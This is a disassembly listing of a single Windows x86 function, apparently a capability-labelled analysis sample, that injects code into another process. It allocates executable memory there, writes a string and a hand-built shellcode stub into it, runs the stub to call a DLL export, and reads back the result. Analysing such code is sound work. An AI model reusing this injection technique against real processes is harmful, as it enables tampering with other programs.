Function at 0x404850
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43bc60
mov eax, dword fs:[0]
push eax
sub esp, 0x9c
mov eax, dword [0x44f040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
push eax
mov dword [ebp - 0xa4], edi
mov dword [ebp - 0x94], edi
call fcn.004041e0
mov dword [ebp - 0x8c], eax
test eax, eax
je 0x4048d9
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x80], esi
test esi, esi
je 0x4048d9
push 0x40
push 0x1000
push 4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x84], eax
test eax, eax
jne 0x40491d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419df9
mov esp, ebp
pop ebp
ret 8
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 0
push 0x20
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x38], 0
call fcn.00419e46
movups xmm0, xmmword [str.buf32ByteValueAddedSignature]
mov dword [ebp - 0x4c], eax
add esp, 4
mov dword [ebp - 0x3c], 0x1c
mov dword [ebp - 0x38], 0x1f
movups xmmword [eax], xmm0
movq xmm0, qword [0x4495a8]
movq qword [eax + 0x10], xmm0
mov ecx, dword [0x4495b0]
mov dword [eax + 0x18], ecx
mov byte [eax + 0x1c], 0
push 0x40
push 0x1000
mov dword [ebp - 4], 0
push dword [ebp - 0x3c]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov dword [ebp - 0x88], ecx
test ecx, ecx
jne 0x404a15
mov eax, dword [ebp - 0x84]
push 0x8000
push 4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov ecx, dword [ebp - 0x38]
cmp ecx, 0xf
jbe 0x4048fe
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404a06
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405009
push ecx
push edx
call fcn.00419e07
add esp, 8
jmp 0x4048fe
cmp dword [ebp - 0x38], 0xf
lea eax, [ebp - 0x4c]
push 0
push dword [ebp - 0x3c]
cmova eax, dword [ebp - 0x4c]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x404a63
mov eax, dword [ebp - 0x84]
push 0x8000
push 4
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 4
push dword [ebp - 0x88]
push dword [ebp - 0x80]
call esi
push dword [ebp - 0x80]
jmp 0x4049ad
sub esp, 0x18
xorps xmm0, xmm0
mov esi, esp
mov dword [ebp - 0x94], esp
push 0x30
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.00419e46
mov ecx, eax
mov dword [esi + 0x10], 0x2f
mov dword [esi], ecx
mov dword [esi + 0x14], 0x2f
movups xmm0, xmmword [str._GetSignature_Misc_Util__YA_AVCTXStringW__PBD_Z]
movups xmmword [ecx], xmm0
movups xmm0, xmmword [0x4495c8]
movups xmmword [ecx + 0x10], xmm0
movq xmm0, qword [0x4495d8]
movq qword [ecx + 0x20], xmm0
mov eax, dword [0x4495e0]
mov dword [ecx + 0x28], eax
movzx eax, word [0x4495e4]
mov word [ecx + 0x2c], ax
mov al, byte [0x4495e6]
mov byte [ecx + 0x2e], al
mov byte [ecx + 0x2f], 0
mov esi, dword [ebp - 0x8c]
sub esp, 0x14
mov ecx, esp
mov byte [ebp - 4], 1
xorps xmm0, xmm0
push esi
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0xe
mov dword [ecx + 0x14], 0xf
movq xmm0, qword [str.KernelUtil.dll]
movq qword [ecx], xmm0
mov eax, dword [0x4495f0]
mov dword [ecx + 8], eax
movzx eax, word [0x4495f4]
mov word [ecx + 0xc], ax
mov byte [ecx + 0xe], 0
mov byte [ebp - 4], 0
call fcn.004043c0
mov dword [ebp - 0x90], eax
cmp eax, 0xffffffff
jne 0x404b4d
mov eax, dword [ebp - 0x84]
push 0x8000
push 4
push eax
push dword [ebp - 0x80]
jmp 0x404a41
mov ecx, dword [ebp - 0x88]
mov eax, ecx
sar eax, 8
mov byte [ebp - 0x2b], al
mov eax, ecx
sar eax, 0x10
mov byte [ebp - 0x2a], al
mov eax, ecx
sar eax, 0x18
mov byte [ebp - 0x29], al
mov byte [ebp - 0x2c], cl
mov ecx, dword [ebp - 0x84]
mov eax, ecx
sar eax, 8
mov edx, ecx
mov dword [ebp - 0x8c], eax
mov byte [ebp - 0x26], al
mov eax, dword [ebp - 0x90]
mov byte [ebp - 0x22], al
sar eax, 8
mov byte [ebp - 0x21], al
mov eax, dword [ebp - 0x90]
sar eax, 0x10
mov byte [ebp - 0x20], al
mov eax, dword [ebp - 0x90]
sar eax, 0x18
mov byte [ebp - 0x1f], al
mov eax, dword [ebp - 0x84]
mov byte [ebp - 0x1b], al
mov eax, dword [ebp - 0x8c]
mov byte [ebp - 0x1a], al
lea eax, [ebp - 0x30]
push 0x1d
mov byte [ebp - 0x27], cl
sar edx, 0x10
sar ecx, 0x18
push eax
push esi
mov dword [ebp - 0x30], 0x68ec8b55
mov byte [ebp - 0x28], 0x68
mov byte [ebp - 0x25], dl
mov byte [ebp - 0x24], cl
mov byte [ebp - 0x23], 0xb8
mov word [ebp - 0x1e], 0xd0ff
mov byte [ebp - 0x1c], 0xb8
mov byte [ebp - 0x19], dl
mov byte [ebp - 0x18], cl
mov dword [ebp - 0x17], 0xc35d5959
call fcn.004042b0
cmp eax, 0xffffffff
jne 0x404c36
push 0x8000
push 4
push dword [ebp - 0x84]
push dword [ebp - 0x80]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push dword [ebp - 0x3c]
push dword [ebp - 0x88]
push dword [ebp - 0x80]
call esi
push dword [ebp - 0x80]
jmp 0x4049ad
mov esi, dword [ebp - 0x80]
lea eax, [ebp - 0x9c]
push 0
push 4
push eax
push dword [ebp - 0x84]
mov dword [ebp - 0x9c], 0
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x404c6f
push 0x8000
push 4
push dword [ebp - 0x84]
push esi
jmp 0x404c13
push 0
push 4
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], 0
push eax
mov eax, dword [ebp - 0x9c]
add eax, 0xfffffffc
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x404cac
push 0x8000
push 4
push dword [ebp - 0x84]
push esi
jmp 0x404c13
xorps xmm0, xmm0
mov dword [ebp - 0x54], 0
xor eax, eax
mov dword [ebp - 0x50], 7
movups xmmword [ebp - 0x64], xmm0
mov word [ebp - 0x64], ax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x98]
test edx, edx
jne 0x404cdf
mov dword [ebp - 0x54], edx
mov word [ebp + edx*2 - 0x64], ax
jmp 0x404d1f
cmp edx, 7
ja 0x404d06
xor eax, eax
mov dword [ebp - 0x54], edx
mov ecx, edx
lea edi, [ebp - 0x64]
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov edi, dword [ebp - 0xa4]
xor eax, eax
mov word [ebp + edx*2 - 0x64], ax
jmp 0x404d1f
push 0
push edx
mov byte [ebp - 0x8c], 0
lea ecx, [ebp - 0x64]
push dword [ebp - 0x8c]
push edx
call fcn.0040fea0
cmp dword [ebp - 0x50], 7
lea eax, [ebp - 0x64]
push 0
push dword [ebp - 0x98]
cmova eax, dword [ebp - 0x64]
push eax
push dword [ebp - 0x9c]
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x404df2
push 0x8000
push 4
push dword [ebp - 0x84]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push dword [ebp - 0x3c]
push dword [ebp - 0x88]
push dword [ebp - 0x80]
call esi
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x50]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp ecx, 7
jbe 0x404dd9
mov edx, dword [ebp - 0x64]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404dcf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405009
push ecx
push edx
call fcn.00419e07
add esp, 8
xor eax, eax
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 7
mov word [ebp - 0x64], ax
jmp 0x4049d8
sub esp, 0x18
lea edx, [ebp - 0x64]
mov eax, esp
xorps xmm0, xmm0
mov dword [ebp - 0xa0], eax
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
cmp dword [ebp - 0x50], 7
mov ecx, dword [ebp - 0x54]
cmova edx, dword [ebp - 0x64]
mov dword [ebp - 0x94], edx
mov dword [ebp - 0x8c], ecx
cmp ecx, 0x7ffffffe
ja 0x405004
cmp ecx, 7
ja 0x404e51
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], 7
movups xmm0, xmmword [edx]
movups xmmword [eax], xmm0
jmp 0x404f17
or ecx, 7
cmp ecx, 0x7ffffffe
jbe 0x404e6f
mov edx, SysReAllocString
mov dword [ebp - 0x90], SysStringLen
add edx, edx
jmp 0x404e98
mov edx, 0xa
cmp ecx, edx
cmovb ecx, edx
mov dword [ebp - 0x90], ecx
lea edx, [ecx + 1]
cmp edx, 0x7fffffff
ja 0x404fff
add edx, edx
cmp edx, 0x1000
jb 0x404ecb
lea eax, [edx + 0x23]
cmp eax, edx
jbe 0x404fff
push eax
call fcn.00419e46
add esp, 4
test eax, eax
je 0x405009
mov ecx, dword [ebp - 0x90]
lea edx, [eax + 0x23]
and edx, 0xffffffe0
mov dword [edx - 4], eax
mov eax, dword [ebp - 0xa0]
jmp 0x404eea
test edx, edx
je 0x404ee8
push edx
call fcn.00419e46
mov ecx, dword [ebp - 0x90]
mov edx, eax
mov eax, dword [ebp - 0xa0]
add esp, 4
jmp 0x404eea
xor edx, edx
mov edi, dword [ebp - 0x8c]
mov dword [eax], edx
mov dword [eax + 0x10], edi
mov dword [eax + 0x14], ecx
mov eax, edi
lea eax, [eax*2 + 2]
push eax
push dword [ebp - 0x94]
push edx
call fcn.0041c760
mov edi, dword [ebp - 0xa4]
add esp, 0xc
lea ecx, [ebp - 0x7c]
call fcn.00404720
add esp, 0x18
push 0x8000
push 4
push dword [ebp - 0x84]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push dword [ebp - 0x3c]
push dword [ebp - 0x88]
push dword [ebp - 0x80]
call esi
mov ecx, dword [ebp - 0x50]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [ebp - 0x7c]
mov byte [ebp - 0x7c], 0
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x6c]
movq qword [edi + 0x10], xmm0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0xf
cmp ecx, 7
jbe 0x404fb8
mov edx, dword [ebp - 0x64]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404fae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405009
push ecx
push edx
call fcn.00419e07
add esp, 8
mov ecx, dword [ebp - 0x38]
xor eax, eax
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 7
mov word [ebp - 0x64], ax
cmp ecx, 0xf
jbe 0x4048fe
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404a06
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405009
jmp 0x404a06
call fcn.00404130
call fcn.004041d0
call fcn.0041fc65
int3